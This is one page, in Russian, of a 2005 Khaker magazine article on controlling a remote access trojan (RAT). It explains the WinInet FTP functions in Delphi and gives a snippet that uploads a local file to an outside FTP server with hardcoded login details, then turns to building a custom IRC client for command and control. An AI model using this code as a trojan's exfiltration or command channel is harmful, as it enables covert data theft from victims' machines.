Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Управление RAT

Ms-Rem

Хакер, номер #079, стр. 079-108-7


function InternetConnect (hInet: HINTERNET; lpszServerName: PChar; nServerPort: INTERNET_PORT; lpszUsername: PChar; lpszPassword: PChar; dwService: DWORD; dwFlags: DWORD; dwContext: DWORD): HINTERNET; stdcall;

Параметры:

hInet - указатель, полученный после вызова InternetOpen.

LpszServerName - имя сервера, с которым нужно установить соединение и который может быть как именем хоста (например, ftp.narod.ru), так и IP-адресом (127.0.0.1).

NServerPort - указывает на TCP-порт, с которым нужно соединиться. В нашем случае это будет 21 порт.

LpszUsername - имя пользователя, желающего установить соединение. Если установлено в nil, то будет использовано имя по умолчанию, однако для HTTP это вызовет исключение.

LpszPassword - пароль пользователя для доступа к серверу. Если оба значения установить в nil, то будут использованы параметры по умолчанию.

DwService - задает сервис, который требуется от сервера. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOPHER, INTERNET_SERVICE_HTTP.

DwFlags - специфические параметры для соединения. Например, если DwService установлен в INTERNET_SERVICE_FTP, то можно установить в INTERNET_FLAG_PASSIVE для использования пассивного режима.

Функция возвращает указатель на установленное соединение или, в случае невозможности его установки, nil.

Когда уже имеется связь с сервером (получили указатель), то есть когда нужный нам порт открыт, можно закачать файл. Для этого существует функция FtpPutFile:

function FtpPutFile(hConnect: HINTERNET; lpszLocalFile: PChar; lpszNewRemoteFile: PChar; dwFlags: DWORD; dwContext: DWORD): BOOL; stdcall;

Параметры:

hConnect - указатель на соединение, установленное InternetConnect.

lpszLocalFile - путь к локальному файлу на диске.

lpszNewRemoteFile - путь к файлу, закачиваемому на сервер.

dwFlags - параметры закачки. Лучше всего всегда устанавливать как FTP_TRANSFER_TYPE_BINARY, что заставит передавать файл как бинарные данные, а не как ASCII-текст.

Закачка файла полностью будет выглядеть так:

begin

hInternet := InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

hConnect := InternetConnect(hInternet, 'ftp.narod.ru', 21, 'Ms-Rem', '*****', INTERNET_SERVICE_FTP, 0, 0);

if hConnect <> nil then

begin

FtpPutFile(hConnect, 'c:\readme.txt', 'NewText.txt', FTP_TRANSFER_TYPE_BINARY, 0);

InternetCloseHandle(hConnect);

end;

InternetCloseHandle(hInternet);

end.

Слава Гейтсу, с FTP разобрались. Пора переходить к более сложным вещам.

[IRC]

IRC-протокол - штука весьма удобная для управления RAT. Но, к сожалению, дядя Билл не так хорошо позаботился о нашем процветании, как этого хотелось бы, и в WinAPI мы абсолютно ничего не имеем для IRC. Поискав в интернете чего-нибудь на эту тему, я обнаружил только рекомендации использовать VCL-компоненты для работы с IRC. Но все они очень громоздки и неповоротливы (что критично для RAT), поэтому реализацию IRC-протокола на сокетах придется писать самостоятельно. Для начала неплохо было бы ознакомиться с RFC 1459, описывающей устройство протокола. Но… один только взгляд на документацию - и внутри тебя все холодеет из-за ее размера и количества всевозможных команд, кодов ошибок и т.п. К счастью, половина всего этого относится к обмену данными между IRC-серверами, и мы можем смело пропустить ее, а из оставшейся части нам пригодится лишь несколько основных команд.

Назад на стр. 079-108-6  Содержание  Вперед на стр. 079-108-8